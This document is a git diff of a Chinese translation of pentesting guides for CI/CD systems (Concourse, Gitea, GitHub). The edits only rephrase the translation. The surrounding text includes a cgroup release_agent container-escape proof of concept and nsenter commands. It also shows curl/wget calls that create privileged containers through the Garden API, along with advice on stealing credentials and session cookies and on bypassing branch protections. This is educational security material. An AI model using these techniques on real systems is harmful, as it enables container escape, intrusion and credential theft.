intercept --job pipeline-name/job-name fly -t tutorial intercept # To be presented a prompt with all the options ``` -有了这些权限,您可能能够: +凭借这些权限,您可能能够: - **窃取** **容器** 内部的秘密 -- 尝试 **逃逸** 到节点 +- 尝试 **逃离** 到节点 - 枚举/滥用 **云元数据** 端点(从 pod 和节点,如果可能的话) #### 管道创建/修改 @@ -169,9 +169,9 @@ SUPER_SECRET: ((super.secret)) 通过**修改/创建**新管道,您将能够: - **窃取** **秘密**(通过回显它们或进入容器并运行 `env`) -- **逃逸**到**节点**(通过给予您足够的权限 - `privileged: true`) -- 枚举/滥用**云元数据**端点(从 pod 和节点) -- **删除**创建的管道 +- **逃逸**到 **节点**(通过给予您足够的权限 - `privileged: true`) +- 枚举/滥用 **云元数据** 端点(从 pod 和节点) +- **删除** 创建的管道 #### 执行自定义任务 @@ -199,9 +199,9 @@ fly -t tutorial execute --privileged --config task_config.yml ``` #### 从特权任务逃逸到节点 -在前面的部分中,我们看到如何**使用concourse执行特权任务**。这不会给容器提供与docker容器中的特权标志完全相同的访问权限。例如,您不会在/dev中看到节点文件系统设备,因此逃逸可能会更“复杂”。 +在前面的部分中,我们看到如何**使用 concourse 执行特权任务**。这不会给容器提供与 docker 容器中的特权标志完全相同的访问权限。例如,您不会在 /dev 中看到节点文件系统设备,因此逃逸可能会更“复杂”。 -在以下PoC中,我们将使用release_agent进行逃逸,并进行一些小的修改: +在以下 PoC 中,我们将使用 release_agent 进行逃逸,并进行一些小的修改: ```bash # Mounts the RDMA cgroup controller and create a child cgroup # If you're following along and get "mount: /tmp/cgrp: special device cgroup does not exist" @@ -260,11 +260,11 @@ sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs" cat /output ``` > [!WARNING] -> 正如您可能注意到的,这只是一个 [**常规 release_agent 逃逸**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/concourse-security/broken-reference/README.md),只是修改了节点中 cmd 的路径 +> 正如您可能注意到的,这只是一个 [**常规的 release_agent 逃逸**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/concourse-security/broken-reference/README.md),只是修改了节点中 cmd 的路径 #### 从 Worker 容器逃逸到节点 -一个常规的 release_agent 逃逸,稍作修改就足够了: +一个常规的 release_agent 逃逸加上小的修改就足够了: ```bash mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x @@ -291,9 +291,9 @@ sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs" # Reads the output cat /output ``` -#### 从Web容器逃逸到节点 +#### 从 Web 容器逃逸到节点 -即使Web容器禁用了某些防御,它也**不是以普通特权容器的身份运行**(例如,您**无法** **挂载**,并且**能力**非常**有限**,因此所有简单的逃逸容器的方法都是无效的)。 +即使 Web 容器禁用了某些防御,它也**不是以常见的特权容器运行**(例如,您**无法** **挂载**,并且**能力**非常**有限**,因此所有简单的逃逸方法都无效)。 然而,它以明文形式存储**本地凭据**: ```bash @@ -306,7 +306,7 @@ CONCOURSE_ADD_LOCAL_USER=test:test ``` 您可以使用该凭据**登录到网络服务器**并**创建一个特权容器并逃逸到节点**。 -在环境中,您还可以找到信息以**访问concourse使用的postgresql**实例(地址、**用户名**、**密码**和数据库等信息): +在环境中,您还可以找到信息以**访问concourse使用的postgresql**实例(地址、**用户名**、**密码**和数据库等其他信息): ```bash env | grep -i postg CONCOURSE_RELEASE_POSTGRESQL_PORT_5432_TCP_ADDR=10.107.191.238 @@ -334,7 +334,7 @@ select * from users; 默认情况下,每个 concourse worker 将在 7777 端口运行一个 [**Garden**](https://github.com/cloudfoundry/garden) 服务。该服务由 Web 主机用于指示 worker **需要执行的内容**(下载镜像并运行每个任务)。这对攻击者来说听起来不错,但有一些很好的保护措施: -- 它仅**在本地暴露**(127..0.0.1),我认为当 worker 通过特殊的 SSH 服务对 Web 进行身份验证时,会创建一个隧道,以便 Web 服务器可以**与每个 worker 内的 Garden 服务进行通信**。 +- 它仅**在本地暴露**(127..0.0.1),我认为当 worker 使用特殊的 SSH 服务对 Web 进行身份验证时,会创建一个隧道,以便 Web 服务器可以**与每个 worker 内部的 Garden 服务进行通信**。 - Web 服务器**每隔几秒监控运行的容器**,并且**意外的**容器会被**删除**。因此,如果您想要**运行自定义容器**,您需要**篡改** Web 服务器与 Garden 服务之间的**通信**。 Concourse workers 以高容器权限运行: @@ -348,12 +348,12 @@ Capabilities: BOUNDING -> chown dac_override dac_read_search fowner fsetid kill setgid setuid setpcap linux_immutable net_bind_service net_broadcast net_admin net_raw ipc_lock ipc_owner sys_module sys_rawio sys_chroot sys_ptrace sys_pacct sys_admin sys_boot sys_nice sys_resource sys_time sys_tty_config mknod lease audit_write audit_control setfcap mac_override mac_admin syslog wake_alarm block_suspend audit_read Seccomp: disabled ``` -然而,像**挂载**节点的 /dev 设备或 release_agent 的技术**不会工作**(因为节点的真实设备与文件系统不可访问,只有一个虚拟设备)。我们无法访问节点的进程,因此在没有内核漏洞的情况下逃离节点变得复杂。 +然而,像**挂载**节点的 /dev 设备或 release_agent **将不起作用**(因为具有节点文件系统的真实设备不可访问,只有一个虚拟设备)。我们无法访问节点的进程,因此在没有内核漏洞的情况下逃离节点变得复杂。 > [!NOTE] > 在上一节中,我们看到如何从特权容器中逃脱,因此如果我们可以在**当前** **工作者**创建的**特权容器**中**执行**命令,我们就可以**逃离到节点**。 -请注意,在玩弄 concourse 时,我注意到当一个新容器被生成以运行某些东西时,容器进程可以从工作者容器访问,因此就像一个容器在内部创建一个新容器。 +请注意,在玩 concourse 时,我注意到当一个新容器被生成以运行某些内容时,容器进程可以从工作者容器访问,因此就像一个容器在内部创建一个新容器一样。 **进入一个正在运行的特权容器** ```bash @@ -376,7 +376,7 @@ nsenter --target 76011 --mount --uts --ipc --net --pid -- sh ``` **创建一个新的特权容器** -您可以非常轻松地创建一个新容器(只需运行一个随机 UID)并在其上执行某些操作: +您可以非常轻松地创建一个新的容器(只需运行一个随机 UID)并在其上执行某些操作: ```bash curl -X POST http://127.0.0.1:7777/containers \ -H 'Content-Type: application/json' \ @@ -387,7 +387,7 @@ wget -v -O- --post-data='{"id":"task2","path":"sh","args":["-cx","sleep 20000"], --header='Content-Type:application/json' \ 'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes' ``` -然而,网络服务器每隔几秒钟检查正在运行的容器,如果发现意外的容器,它将被删除。由于通信是在HTTP中进行的,您可以篡改通信以避免意外容器的删除: +然而,web 服务器每隔几秒钟检查正在运行的容器,如果发现意外的容器,它将被删除。由于通信是在 HTTP 中进行的,您可以篡改通信以避免意外容器的删除: ``` GET /containers HTTP/1.1. Host: 127.0.0.1:7777. diff --git a/src/pentesting-ci-cd/concourse-security/concourse-lab-creation.md b/src/pentesting-ci-cd/concourse-security/concourse-lab-creation.md index bef222449..9d1554b85 100644 --- a/src/pentesting-ci-cd/concourse-security/concourse-lab-creation.md +++ b/src/pentesting-ci-cd/concourse-security/concourse-lab-creation.md @@ -8,7 +8,7 @@ #### 使用 Docker-Compose -这个 docker-compose 文件简化了安装,以便进行一些与 concourse 的测试: +此 docker-compose 文件简化了安装,以便进行一些与 concourse 的测试: ```bash wget https://raw.githubusercontent.com/starkandwayne/concourse-tutorial/master/docker-compose.yml docker-compose up -d @@ -17,7 +17,7 @@ docker-compose up -d #### 使用 Kubernetes(推荐) -您可以使用 helm-chart 轻松在 **Kubernetes**(例如 **minikube**)中部署 concourse: [**concourse-chart**](https://github.com/concourse/concourse-chart)。 +您可以使用 helm-chart 轻松地在 **Kubernetes**(例如在 **minikube** 中)部署 concourse: [**concourse-chart**](https://github.com/concourse/concourse-chart)。 ```bash brew install helm helm repo add concourse https://concourse-charts.storage.googleapis.com/ @@ -69,7 +69,7 @@ secret: MWYyZDFlMmU2N2Rm ``` ### 创建管道 -管道由一系列 [Jobs](https://concourse-ci.org/jobs.html) 组成,其中包含一个有序的 [Steps](https://concourse-ci.org/steps.html) 列表。 +管道由一个包含有序列表的 [Jobs](https://concourse-ci.org/jobs.html) 组成,该列表包含 [Steps](https://concourse-ci.org/steps.html)。 ### 步骤 @@ -79,9 +79,9 @@ secret: MWYyZDFlMmU2N2Rm - the [`get` step](https://concourse-ci.org/get-step.html) 获取一个 [resource](https://concourse-ci.org/resources.html) - the [`put` step](https://concourse-ci.org/put-step.html) 更新一个 [resource](https://concourse-ci.org/resources.html) - the [`set_pipeline` step](https://concourse-ci.org/set-pipeline-step.html) 配置一个 [pipeline](https://concourse-ci.org/pipelines.html) -- the [`load_var` step](https://concourse-ci.org/load-var-step.html) 将一个值加载到 [local var](https://concourse-ci.org/vars.html#local-vars) 中 +- the [`load_var` step](https://concourse-ci.org/load-var-step.html) 将值加载到 [local var](https://concourse-ci.org/vars.html#local-vars) 中 - the [`in_parallel` step](https://concourse-ci.org/in-parallel-step.html) 并行运行步骤 -- the [`do` step](https://concourse-ci.org/do-step.html) 顺序运行步骤 +- the [`do` step](https://concourse-ci.org/do-step.html) 按顺序运行步骤 - the [`across` step modifier](https://concourse-ci.org/across-step.html#schema.across) 多次运行一个步骤;每种变量值组合运行一次 - the [`try` step](https://concourse-ci.org/try-step.html) 尝试运行一个步骤,即使步骤失败也会成功 @@ -127,16 +127,16 @@ fly -t tutorial intercept --job pipe-name/simple ### 带有输出/输入管道的 Bash 脚本 -可以 **将一个任务的结果保存到文件中** 并指明它是一个输出,然后将下一个任务的输入指明为上一个任务的输出。Concourse 所做的是 **在新任务中挂载上一个任务的目录,以便您可以访问上一个任务创建的文件**。 +可以 **将一个任务的结果保存到文件中** 并指明它是一个输出,然后将下一个任务的输入指明为上一个任务的输出。Concourse 的做法是 **在新任务中挂载上一个任务的目录,以便您可以访问上一个任务创建的文件**。 ### 触发器 您不需要每次手动触发作业,您还可以编程使其每次运行时自动触发: -- 一段时间过去:[时间资源](https://github.com/concourse/time-resource/) -- 在主分支的新提交时:[Git 资源](https://github.com/concourse/git-resource) -- 新的 PR:[Github-PR 资源](https://github.com/telia-oss/github-pr-resource) -- 获取或推送您应用的最新镜像:[Registry-image 资源](https://github.com/concourse/registry-image-resource/) +- 一段时间过去: [Time resource](https://github.com/concourse/time-resource/) +- 在主分支的新提交上: [Git resource](https://github.com/concourse/git-resource) +- 新的 PR: [Github-PR resource](https://github.com/telia-oss/github-pr-resource) +- 获取或推送您应用的最新镜像: [Registry-image resource](https://github.com/concourse/registry-image-resource/) 查看一个在主分支新提交时触发的 YAML 管道示例,链接在 [https://concourse-ci.org/tutorial-resources.html](https://concourse-ci.org/tutorial-resources.html) diff --git a/src/pentesting-ci-cd/gitea-security/README.md b/src/pentesting-ci-cd/gitea-security/README.md index dbcf3ceeb..b3b1e1774 100644 --- a/src/pentesting-ci-cd/gitea-security/README.md +++ b/src/pentesting-ci-cd/gitea-security/README.md @@ -27,7 +27,7 @@ docker run -p 3000:3000 gitea/gitea helm repo add gitea-charts https://dl.gitea.io/charts/ helm install gitea gitea-charts/gitea ``` -## 未经身份验证的枚举 +## 未认证枚举 - 公共仓库: [http://localhost:3000/explore/repos](http://localhost:3000/explore/repos) - 注册用户: [http://localhost:3000/explore/users](http://localhost:3000/explore/users) @@ -39,14 +39,14 @@ helm install gitea gitea-charts/gitea 在这个场景中,我们假设你已经获得了一些对 GitHub 账户的访问权限。 -### 使用用户凭据/网页 Cookie +### 使用用户凭证/网页 Cookie -如果你以某种方式已经获得了组织内某个用户的凭据(或者你窃取了一个会话 Cookie),你可以**直接登录**并检查你对哪些**仓库**拥有**权限**,你在哪些**团队**中,**列出其他用户**,以及**仓库是如何保护的**。 +如果你以某种方式已经获得了组织内某个用户的凭证(或者你偷了一个会话 Cookie),你可以**直接登录**并检查你对哪些**仓库**拥有**权限**,你在**哪些团队**中,**列出其他用户**,以及**仓库是如何保护的**。 请注意,**可能会使用 2FA**,因此你只有在能够**通过该检查**的情况下才能访问这些信息。 > [!NOTE] -> 请注意,如果你**设法窃取了 `i_like_gitea` Cookie**(当前配置为 SameSite: Lax),你可以**完全冒充该用户**而无需凭据或 2FA。 +> 请注意,如果你**设法偷取了 `i_like_gitea` cookie**(当前配置为 SameSite: Lax),你可以**完全冒充该用户**而无需凭证或 2FA。 ### 使用用户 SSH 密钥 @@ -58,9 +58,9 @@ Gitea 允许**用户**设置**SSH 密钥**,该密钥将作为**代表他们部 # Get repo config and current user name and email git config --list ``` -如果用户将其用户名配置为他的 gitea 用户名,您可以访问他在 _https://github.com/\.keys_ 中设置的 **公钥**,您可以检查此内容以确认您找到的私钥是否可以使用。 +如果用户将其用户名配置为他的 gitea 用户名,您可以在 _https://github.com/\.keys_ 中访问他在账户中设置的 **公钥**,您可以检查此项以确认您找到的私钥是否可以使用。 -**SSH 密钥** 也可以在仓库中设置为 **部署密钥**。任何拥有此密钥的人都将能够 **从仓库启动项目**。通常在具有不同部署密钥的服务器上,本地文件 **`~/.ssh/config`** 将提供与密钥相关的信息。 +**SSH 密钥** 也可以在仓库中设置为 **部署密钥**。任何拥有此密钥的人都能够 **从仓库启动项目**。通常在具有不同部署密钥的服务器上,本地文件 **`~/.ssh/config`** 将提供与密钥相关的信息。 #### GPG 密钥 @@ -74,34 +74,34 @@ gpg --list-secret-keys --keyid-format=long 有关[**用户令牌的介绍,请查看基本信息**](basic-gitea-information.md#personal-access-tokens)。 -用户令牌可以**替代密码**来**认证**Gitea服务器[**通过API**](https://try.gitea.io/api/swagger#/)。它将对用户具有**完全访问权限**。 +用户令牌可以**替代密码**来**验证**对Gitea服务器的访问[**通过API**](https://try.gitea.io/api/swagger#/)。它将对用户拥有**完全访问权限**。 ### 使用Oauth应用程序 有关[**Gitea Oauth应用程序的介绍,请查看基本信息**](./#with-oauth-application)。 -攻击者可能创建一个**恶意Oauth应用程序**来访问接受它们的用户的特权数据/操作,这可能是网络钓鱼活动的一部分。 +攻击者可能会创建一个**恶意Oauth应用程序**,以访问接受它们的用户的特权数据/操作,这可能是网络钓鱼活动的一部分。 -如基本信息中所述,该应用程序将对用户帐户具有**完全访问权限**。 +如基本信息中所述,该应用程序将对用户帐户拥有**完全访问权限**。 -### 绕过分支保护 +### 分支保护绕过 -在Github中,我们有**github actions**,默认情况下会获得对仓库的**写入访问权限**的**令牌**,可以用来**绕过分支保护**。在这种情况下**不存在**,因此绕过的方式更有限。但让我们看看可以做些什么: +在Github中,我们有**github actions**,默认情况下会获取对仓库的**写访问权限**的**令牌**,可以用来**绕过分支保护**。在这种情况下,**不存在**,因此绕过的方式更有限。但让我们看看可以做些什么: -- **启用推送**:如果任何具有写入权限的人可以推送到该分支,只需推送即可。 -- **白名单限制推送**:同样,如果您是此列表的一部分,则可以推送到该分支。 +- **启用推送**:如果任何具有写访问权限的人可以推送到该分支,只需推送即可。 +- **白名单限制推送**:同样,如果您是此列表的一部分,请推送到该分支。 - **启用合并白名单**:如果有合并白名单,您需要在其中。 -- **需要的批准大于0**:那么...您需要妥协另一个用户。 +- **要求批准大于0**:那么...您需要妥协另一个用户。 - **限制批准给白名单用户**:如果只有白名单用户可以批准...您需要妥协另一个在该列表中的用户。 -- **撤销过期批准**:如果批准没有随着新提交而被移除,您可以劫持一个已经批准的PR来注入您的代码并合并PR。 +- **撤销过期批准**:如果批准未随新提交而被移除,您可以劫持已批准的PR以注入您的代码并合并PR。 -请注意**如果您是组织/仓库管理员**,您可以绕过保护。 +请注意,**如果您是组织/仓库管理员**,您可以绕过保护。 ### 枚举Webhooks **Webhooks**能够**将特定的gitea信息发送到某些地方**。您可能能够**利用这种通信**。\ 然而,通常在**webhook**中设置了一个您**无法检索**的**密钥**,这将**防止**外部用户知道webhook的URL但不知道密钥来**利用该webhook**。\ -但在某些情况下,人们不是将**密钥**设置在其位置,而是将其**作为参数设置在URL中**,因此**检查URL**可能允许您**找到密钥**和其他您可以进一步利用的地方。 +但在某些情况下,人们不是将**密钥**设置在其位置,而是将其**作为参数设置在URL中**,因此**检查URL**可能会让您**找到密钥**和其他您可以进一步利用的地方。 Webhooks可以在**仓库和组织级别**设置。 @@ -109,16 +109,16 @@ Webhooks可以在**仓库和组织级别**设置。 ### 服务器内部 -如果您以某种方式设法进入运行gitea的服务器,您应该搜索gitea配置文件。默认情况下,它位于`/data/gitea/conf/app.ini` +如果您以某种方式成功进入运行gitea的服务器,您应该搜索gitea配置文件。默认情况下,它位于`/data/gitea/conf/app.ini` 在此文件中,您可以找到**密钥**和**密码**。 在gitea路径(默认:/data/gitea)中,您还可以找到有趣的信息,例如: - **sqlite**数据库:如果gitea不使用外部数据库,它将使用sqlite数据库。 -- **会话**在会话文件夹中:运行`cat sessions/*/*/*`可以看到已登录用户的用户名(gitea也可以将会话保存在数据库中)。 +- **会话**在会话文件夹中:运行`cat sessions/*/*/*`可以查看已登录用户的用户名(gitea也可以将会话保存在数据库中)。 - **jwt私钥**在jwt文件夹中。 -- 该文件夹中可能找到更多**敏感信息**。 +- 该文件夹中可能会找到更多**敏感信息**。 如果您在服务器内部,您还可以**使用`gitea`二进制文件**来访问/修改信息: diff --git a/src/pentesting-ci-cd/gitea-security/basic-gitea-information.md b/src/pentesting-ci-cd/gitea-security/basic-gitea-information.md index 6befd4569..8655bec81 100644 --- a/src/pentesting-ci-cd/gitea-security/basic-gitea-information.md +++ b/src/pentesting-ci-cd/gitea-security/basic-gitea-information.md @@ -1,8 +1,8 @@ -# Basic Gitea Information +# 基本 Gitea 信息 {{#include ../../banners/hacktricks-training.md}} -## Basic Structure +## 基本结构 基本的 Gitea 环境结构是通过 **组织** 来分组仓库,每个组织可以包含 **多个仓库** 和 **多个团队**。然而,请注意,就像在 GitHub 中一样,用户可以在组织外拥有仓库。 @@ -12,69 +12,69 @@ 最后,**仓库可能具有特殊的保护机制**。 -## Permissions +## 权限 -### Organizations +### 组织 -当 **组织被创建** 时,会创建一个名为 **Owners** 的团队,并将用户放入其中。该团队将提供对 **组织的管理员访问**,这些 **权限** 和团队的 **名称** **无法修改**。 +当 **组织被创建** 时,会创建一个名为 **Owners** 的团队,并将用户放入其中。该团队将提供对 **组织** 的 **管理员访问**,这些 **权限** 和团队的 **名称** **无法修改**。 **组织管理员**(所有者)可以选择组织的 **可见性**: - 公开 -- 限制(仅限登录用户) -- 私有(仅限成员) +- 限制(仅登录用户) +- 私有(仅成员) **组织管理员** 还可以指示 **仓库管理员** 是否可以 **添加或移除团队的访问权限**。他们还可以指示最大仓库数量。 创建新团队时,会选择几个重要设置: - 指定 **团队成员可以访问的组织仓库**:特定仓库(团队被添加的仓库)或所有仓库。 -- 还指示 **成员是否可以创建新仓库**(创建者将获得对其的管理员访问权限) +- 还指示 **成员是否可以创建新仓库**(创建者将获得对其的管理员访问)。 - **成员** 在仓库中将 **拥有的权限**: - **管理员** 访问 - **特定** 访问: ![](<../../images/image (118).png>) -### Teams & Users +### 团队与用户 -在仓库中,**组织管理员** 和 **仓库管理员**(如果组织允许)可以 **管理分配给协作者(其他用户)和团队的角色**。有 **3** 种可能的 **角色**: +在仓库中,**组织管理员** 和 **仓库管理员**(如果组织允许)可以 **管理** 分配给协作者(其他用户)和团队的角色。可能的 **角色** 有 **3** 种: - 管理员 - 写入 - 读取 -## Gitea Authentication +## Gitea 认证 -### Web Access +### 网络访问 使用 **用户名 + 密码**,并可能(推荐)使用 2FA。 -### **SSH Keys** +### **SSH 密钥** 您可以使用一个或多个公钥配置您的帐户,允许相关的 **私钥代表您执行操作**。 [http://localhost:3000/user/settings/keys](http://localhost:3000/user/settings/keys) -#### **GPG Keys** +#### **GPG 密钥** 您 **无法使用这些密钥冒充用户**,但如果您不使用它,可能会导致您 **因发送未签名的提交而被发现**。 -### **Personal Access Tokens** +### **个人访问令牌** 您可以生成个人访问令牌,以 **授予应用程序访问您的帐户**。个人访问令牌对您的帐户具有完全访问权限:[http://localhost:3000/user/settings/applications](http://localhost:3000/user/settings/applications) -### Oauth Applications +### Oauth 应用程序 -与个人访问令牌一样,**Oauth 应用程序**将对您的帐户及其访问的地方具有 **完全访问权限**,因为如 [docs](https://docs.gitea.io/en-us/oauth2-provider/#scopes) 中所示,范围尚不支持: +与个人访问令牌一样,**Oauth 应用程序** 将对您的帐户及其访问的地方具有 **完全访问权限**,因为如 [docs](https://docs.gitea.io/en-us/oauth2-provider/#scopes) 中所述,范围尚不支持: ![](<../../images/image (194).png>) -### Deploy keys +### 部署密钥 -部署密钥可能对仓库具有只读或写入访问权限,因此它们可能对破坏特定仓库很有趣。 +部署密钥可能对仓库具有只读或写入访问权限,因此它们可能对攻破特定仓库很有趣。 -## Branch Protections +## 分支保护 -分支保护旨在 **不将仓库的完全控制权授予用户**。目标是在能够在某些分支中编写代码之前 **设置几种保护方法**。 +分支保护旨在 **不将仓库的完全控制权授予用户**。目标是 **在能够在某个分支内写入代码之前设置几种保护方法**。 **仓库的分支保护** 可以在 _https://localhost:3000/\/\/settings/branches_ 中找到。 @@ -87,7 +87,7 @@ - **启用推送**:任何有访问权限的人都可以推送,但不能强制推送。 - **白名单限制推送**:只有选定的用户/团队可以推送到此分支(但不能强制推送) - **启用合并白名单**:只有白名单中的用户/团队可以合并 PR。 -- **启用状态检查**:合并之前需要通过状态检查。 +- **启用状态检查**:合并前需要通过状态检查。 - **要求批准**:指示合并 PR 之前所需的批准数量。 - **限制批准给白名单**:指示可以批准 PR 的用户/团队。 - **在拒绝审查时阻止合并**:如果请求更改,则无法合并(即使其他检查通过) @@ -98,6 +98,6 @@ - **受保护/不受保护的文件模式**:指示要保护/不保护的文件模式 > [!NOTE] -> 如您所见,即使您设法获得某个用户的凭据,**仓库可能受到保护,避免您将代码推送到主分支**,例如,以破坏 CI/CD 管道。 +> 如您所见,即使您设法获得某个用户的凭据,**仓库可能受到保护,避免您将代码推送到主分支**,例如以攻破 CI/CD 管道。 {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-ci-cd/github-security/README.md b/src/pentesting-ci-cd/github-security/README.md index 073d04233..aa41f3473 100644 --- a/src/pentesting-ci-cd/github-security/README.md +++ b/src/pentesting-ci-cd/github-security/README.md @@ -18,9 +18,9 @@ Github 仓库可以配置为公共、私有和内部。 - **私有**意味着**只有**组织中的人才能访问它们 - **内部**意味着**只有**企业中的人(一个企业可能有多个组织)才能访问它 -- **公共**意味着**所有互联网**用户都可以访问它。 +- **公共**意味着**所有互联网**都可以访问它。 -如果你知道**想要攻击的用户、仓库或组织**,你可以使用**github dorks**来查找敏感信息或搜索**每个仓库中的敏感信息泄露**。 +如果你知道**要针对的用户、仓库或组织**,你可以使用**github dorks**来查找敏感信息或搜索**每个仓库中的敏感信息泄露**。 ### Github Dorks @@ -28,13 +28,13 @@ Github 允许**通过指定用户、仓库或组织作为范围来搜索某些 工具(每个工具包含其 dorks 列表): -- [https://github.com/obheda12/GitDorker](https://github.com/obheda12/GitDorker) ([Dorks 列表](https://github.com/obheda12/GitDorker/tree/master/Dorks)) -- [https://github.com/techgaun/github-dorks](https://github.com/techgaun/github-dorks) ([Dorks 列表](https://github.com/techgaun/github-dorks/blob/master/github-dorks.txt)) -- [https://github.com/hisxo/gitGraber](https://github.com/hisxo/gitGraber) ([Dorks 列表](https://github.com/hisxo/gitGraber/tree/master/wordlists)) +- [https://github.com/obheda12/GitDorker](https://github.com/obheda12/GitDorker) ([Dorks list](https://github.com/obheda12/GitDorker/tree/master/Dorks)) +- [https://github.com/techgaun/github-dorks](https://github.com/techgaun/github-dorks) ([Dorks list](https://github.com/techgaun/github-dorks/blob/master/github-dorks.txt)) +- [https://github.com/hisxo/gitGraber](https://github.com/hisxo/gitGraber) ([Dorks list](https://github.com/hisxo/gitGraber/tree/master/wordlists)) ### Github 泄露 -请注意,github dorks 也旨在使用 github 搜索选项查找泄露。此部分专门介绍那些将**下载每个仓库并搜索其中敏感信息**的工具(甚至检查某些深度的提交)。 +请注意,github dorks 也旨在使用 github 搜索选项查找泄露。本节专门介绍那些将**下载每个仓库并搜索其中敏感信息**的工具(甚至检查某些提交深度)。 工具(每个工具包含其正则表达式列表): @@ -51,11 +51,11 @@ Github 允许**通过指定用户、仓库或组织作为范围来搜索某些 ### 外部分支 -可以通过**滥用拉取请求来妥协仓库**。要知道一个仓库是否脆弱,你主要需要阅读 Github Actions yaml 配置。 [**更多信息见下文**](./#execution-from-a-external-fork)。 +可以通过**滥用拉取请求来妥协仓库**。要知道一个仓库是否脆弱,你主要需要阅读 Github Actions yaml 配置。[**更多信息见下文**](./#execution-from-a-external-fork)。 -### Github 在删除/内部分支中的泄露 +### 删除/内部分支中的 Github 泄露 -即使是删除或内部的,也可能从 github 仓库的分支中获取敏感数据。请在此查看: +即使是删除或内部的,也可能从 github 仓库的分支中获取敏感数据。请在此处查看: {{#ref}} accessible-deleted-data-in-github.md @@ -65,12 +65,12 @@ accessible-deleted-data-in-github.md ### 成员权限 -可以为组织的**成员**分配一些**默认权限**。这些可以从页面 `https://github.com/organizations//settings/member_privileges` 或从 [**Organizations API**](https://docs.github.com/en/rest/orgs/orgs) 控制。 +可以分配给组织**成员**的一些**默认权限**。这些可以从页面 `https://github.com/organizations//settings/member_privileges` 或从 [**Organizations API**](https://docs.github.com/en/rest/orgs/orgs) 控制。 - **基本权限**:成员将对组织仓库拥有 None/Read/write/Admin 权限。推荐使用**None**或**Read**。 - **仓库分叉**:如果不必要,最好**不允许**成员分叉组织仓库。 - **页面创建**:如果不必要,最好**不允许**成员从组织仓库发布页面。如果必要,可以允许创建公共或私有页面。 -- **集成访问请求**:启用后,外部协作者将能够请求访问 GitHub 或 OAuth 应用以访问该组织及其资源。通常是需要的,但如果不需要,最好禁用它。 +- **集成访问请求**:启用此选项后,外部协作者将能够请求访问此组织及其资源的 GitHub 或 OAuth 应用。通常是需要的,但如果不需要,最好禁用它。 - _我在 API 响应中找不到此信息,如果你找到了,请分享_ - **仓库可见性更改**:如果启用,具有**管理员**权限的**成员**将能够**更改其可见性**。如果禁用,只有组织所有者可以更改仓库的可见性。如果你**不**希望人们将内容**公开**,请确保此选项**禁用**。 - _我在 API 响应中找不到此信息,如果你找到了,请分享_ @@ -78,7 +78,7 @@ accessible-deleted-data-in-github.md - _我在 API 响应中找不到此信息,如果你找到了,请分享_ - **允许成员创建团队**:如果启用,任何**成员**都将能够**创建**新**团队**。如果禁用,只有组织所有者可以创建新团队。最好将此选项禁用。 - _我在 API 响应中找不到此信息,如果你找到了,请分享_ -- **此页面上可以配置更多内容**,但前面的内容与安全性相关性更大。 +- **此页面上可以配置更多内容**,但前面的内容是与安全性相关的内容。 ### Actions 设置 @@ -91,7 +91,7 @@ accessible-deleted-data-in-github.md - [**API-1**](https://docs.github.com/en/rest/actions/permissions#get-allowed-actions-and-reusable-workflows-for-an-organization)**,** [**API-2**](https://docs.github.com/en/rest/actions/permissions#list-selected-repositories-enabled-for-github-actions-in-an-organization) - **来自外部协作者的拉取请求工作流**:建议**要求所有**外部协作者的批准。 - _我找不到包含此信息的 API,如果你找到了,请分享_ -- **从拉取请求运行工作流**:强烈**不建议从拉取请求运行工作流**,因为分叉源的维护者将获得使用具有读取权限的令牌访问源仓库的能力。 +- **从拉取请求运行工作流**:强烈**不建议从拉取请求运行工作流**,因为分支来源的维护者将获得使用具有读取权限的令牌访问源仓库的能力。 - _我找不到包含此信息的 API,如果你找到了,请分享_ - **工作流权限**:强烈建议**仅授予读取仓库权限**。不建议授予写入和创建/批准拉取请求的权限,以避免滥用授予运行工作流的 GITHUB_TOKEN。 - [**API**](https://docs.github.com/en/rest/actions/permissions#get-default-workflow-permissions-for-an-organization) @@ -103,18 +103,18 @@ _如果你知道访问此信息的 API 端点,请告诉我!_ - **第三方应用访问策略**:建议限制对每个应用的访问,仅允许必要的应用(在审核后)。 - **已安装的 GitHub 应用**:建议仅允许必要的应用(在审核后)。 -## 侦查与攻击滥用凭证 +## 侦查与利用凭证的攻击 在此场景中,我们假设你已经获得了对一个 github 账户的某些访问权限。 ### 使用用户凭证 -如果你以某种方式已经拥有组织内某个用户的凭证,你可以**直接登录**并检查你拥有的**企业和组织角色**,如果你是普通成员,检查普通成员拥有的**权限**、你所在的**组**、你对哪些**仓库**拥有的**权限**以及**这些仓库是如何保护的**。 +如果你以某种方式已经获得了组织内某个用户的凭证,你可以**直接登录**并检查你拥有的**企业和组织角色**,如果你是普通成员,检查普通成员拥有的**权限**、你所在的**组**、你对哪些**仓库**拥有**权限**,以及**这些仓库是如何保护的**。 请注意,**可能会使用 2FA**,因此你只能在能够**通过该检查**的情况下访问此信息。 > [!NOTE] -> 请注意,如果你**设法窃取了 `user_session` cookie**(当前配置为 SameSite: Lax),你可以**完全冒充用户**而无需凭证或 2FA。 +> 请注意,如果你**设法窃取了 `user_session` cookie**(当前配置为 SameSite: Lax),你可以**完全冒充用户**,而无需凭证或 2FA。 请查看下面关于 [**分支保护绕过**](./#branch-protection-bypass) 的部分,以防有用。 @@ -122,15 +122,15 @@ _如果你知道访问此信息的 API 端点,请告诉我!_ Github 允许**用户**设置**SSH 密钥**,作为**代表他们部署代码的身份验证方法**(不应用 2FA)。 -使用此密钥,你可以对用户拥有某些权限的仓库进行**更改**,但是你不能使用它访问 github api 来枚举环境。然而,你可以**枚举本地设置**以获取有关你有访问权限的仓库和用户的信息: +使用此密钥,你可以对用户拥有某些权限的仓库进行**更改**,但是你不能使用它访问 github api 来枚举环境。然而,你可以获取**枚举本地设置**以获取有关你有访问权限的仓库和用户的信息: ```bash # Go to the the repository folder # Get repo config and current user name and email git config --list ``` -如果用户将其用户名配置为他的 github 用户名,您可以访问他帐户中设置的 **公钥**,网址为 _https://github.com/\.keys_,您可以检查此内容以确认您找到的私钥是否可以使用。 +如果用户将其用户名配置为他的 github 用户名,您可以访问他账户中设置的 **公钥**,网址为 